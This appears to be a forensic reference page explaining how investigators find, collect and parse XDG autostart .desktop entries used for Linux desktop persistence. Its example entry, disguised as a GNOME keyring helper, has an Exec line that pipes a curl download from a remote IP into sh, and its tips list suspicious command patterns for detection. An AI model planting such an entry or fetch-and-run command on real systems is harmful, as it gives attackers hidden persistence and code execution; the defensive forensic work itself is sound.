XDG Autostart .desktop Entries: Linux Desktop Persistence
XDG autostart entries in /etc/xdg/autostart and ~/.config/autostart that launch programs at every graphical login, plus KDE and X session hooks.
- Location
- ~/.config/autostart/*.desktop, /etc/xdg/autostart/*.desktop
- Proves
- Which programs were configured to start automatically when a user logs in to a graphical session, and when that configuration was written
- Timestamps
- File system times only; launches appear in the journal as app-<name>@autostart.service units on systemd-managed sessions
- Access
- Any user for their own entries; root for /etc/xdg/autostart
- Retention
- Until the .desktop file is deleted; launch records follow journal retention
- Collection
- UAC, Velociraptor, cp -a, tar
Tools
Compare all tools- findCLI · built into Linux
- grep / zgrepCLI · built into Linux
- journalctlCLI · built into Linux
- systemctlCLI · built into Linux
- rpmCLI · built into Linux
- dpkgCLI · built into Linux
What it is
The freedesktop.org Desktop Application Autostart specification lets any .desktop file placed in an autostart directory run when a user logs in to a compliant desktop: GNOME, KDE Plasma, Xfce, Cinnamon, MATE, LXQt and most others. Legitimate uses include the keyring daemon, update notifiers and chat clients set to "start at login".
Attackers use the same mechanism on Linux workstations because it needs no root access for per-user entries and survives reboots. MITRE ATT&CK tracks it as T1547.013 (XDG Autostart Entries). It only fires on a graphical login, so it matters on desktops and VDI hosts, not headless servers.
Where it lives
| Scope | Path | Notes |
|---|---|---|
| User | $XDG_CONFIG_HOME/autostart/, normally ~/.config/autostart/*.desktop | Writable by the user; overrides a system entry with the same file name |
| System | /etc/xdg/autostart/*.desktop | Package-owned entries, root only |
| Other config dirs | <dir>/autostart/ for each entry in $XDG_CONFIG_DIRS | Rare; check the session environment |
| KDE extras | ~/.config/autostart-scripts/ (Plasma 5), ~/.config/plasma-workspace/env/*.sh (sourced before the session), ~/.config/plasma-workspace/shutdown/ | Plasma 6 migrates old scripts into .desktop entries |
| X session hooks | ~/.xprofile, ~/.xsessionrc (Debian), ~/.xinitrc, /etc/X11/Xsession.d/ | Sourced by display managers or startx; not XDG but same effect |
| Generated units | /run/user/<uid>/systemd/generator.late/app-*@autostart.service | Created at login by systemd-xdg-autostart-generator; volatile |
What it proves
- A program was set to run at every graphical login of that user (user directory) or of every user (system directory).
- The exact command line, from the
Exec=key, and any conditions on which desktop runs it. - When the entry was created or last changed, from file times.
- On sessions started through systemd (GNOME 3.36 and later, KDE Plasma 5.21 and later when enabled), that the entry actually launched, through journal lines for the generated unit.
- It does not prove the program ran if the user never logged in graphically after the file was created.
Key fields
[Desktop Entry]
Type=Application
Name=GNOME Keyring Helper
Exec=/bin/sh -c "curl -fsS http://203.0.113.50/k | sh"
Hidden=false
NoDisplay=true
X-GNOME-Autostart-enabled=true
X-GNOME-Autostart-Delay=60
| Key | Meaning |
|---|---|
Exec | Command run at login; the field attackers change |
TryExec | Entry is skipped if this binary is missing |
Hidden=true | Disables the entry; a user file with the same name and Hidden=true silences a system entry, such as an endpoint agent's tray process |
OnlyShowIn / NotShowIn | Restrict to desktops (GNOME;, KDE;) |
X-GNOME-Autostart-enabled | GNOME toggle; false disables |
X-GNOME-Autostart-Delay | Seconds to wait, used to hide the launch among session start noise |
NoDisplay | Hides the entry from menus and some settings dialogs |
Name, Icon, Comment | Cosmetic; often copy a real component name |
Timestamps
.desktop files carry only file system times. For system entries, compare mtime and ctime with the owning package's install time in the package manager logs: a package file keeps its build-time mtime, so a recent ctime or a file no package owns stands out.
When the session runs under systemd, the generator creates units named app-<desktop-id>@autostart.service. Their start and exit messages land in the user's journal with microsecond UTC times, which gives you actual launch times rather than just configuration times.
Retention
Entries persist until deleted. The generated units under /run/user/<uid>/ disappear at logout. Journal evidence of launches lasts as long as journal size limits allow; on a busy desktop that is typically weeks to months.
Collection
# Dead box
tar -C /mnt/evidence -cpf /cases/2026-017/autostart.tar \
etc/xdg/autostart home/*/.config/autostart home/*/.config/autostart-scripts \
home/*/.config/plasma-workspace home/*/.xprofile home/*/.xsessionrc etc/X11/Xsession.d 2>/dev/null
# Live, per user session
systemctl --user list-units 'app-*@autostart.service' --all
UAC's xdg_autostart artifact collects /etc/xdg/autostart, /usr/share/autostart, ~/.config/autostart, ~/.local/share/autostart and KDE's ~/.config/autostart-scripts. Velociraptor can glob the same paths with Linux.Search.FileFinder.
Parsing
R=/mnt/evidence
# Every Exec line with its file, newest first
find "$R"/etc/xdg/autostart "$R"/home/*/.config/autostart -name '*.desktop' -printf '%T+ %p\n' 2>/dev/null | sort -r
grep -H '^Exec=' "$R"/home/*/.config/autostart/*.desktop "$R"/etc/xdg/autostart/*.desktop
# System entries not owned by any package (Debian family, then RHEL family)
for f in "$R"/etc/xdg/autostart/*.desktop; do dpkg --root="$R" -S "${f#$R}" >/dev/null 2>&1 || echo "unowned: $f"; done
for f in "$R"/etc/xdg/autostart/*.desktop; do rpm --root "$R" -qf "${f#$R}" | grep 'not owned'; done
# Launches from the journal
journalctl -D "$R"/var/log/journal --user-unit 'app-*@autostart.service' -o short-iso-precise
Investigator tips
- Treat
Execvalues that callsh -c,bash -c,python -c,curl,wgetor a binary in/tmp,/dev/shmor a hidden directory as suspicious until proven otherwise. - A user entry with the same file name as a system entry overrides it. Diff the two before assuming a user entry is benign.
- Names copying real components (
gnome-keyring-*.desktop,org.freedesktop.*) are common camouflage. Check whether the referenced binary exists and who owns it. ~/.xsessionrcand~/.xprofileare sourced shell scripts, so they behave like shell startup files for graphical sessions. Review them together.- Correlate entry creation time with the first graphical login afterwards in wtmp to bound when the payload first ran.
See also
Related artifacts
- Shell Startup Files: Linux bashrc and profile Persistence
- systemd Unit Files: Linux Service Persistence
- Cron, Anacron, at and systemd Timers: Linux Scheduling
- rc.local, SysV init.d and MOTD Scripts: Linux Boot Hooks
- systemd Journal: Linux Binary System Log
- dpkg, APT, RPM and DNF Logs: Linux Package History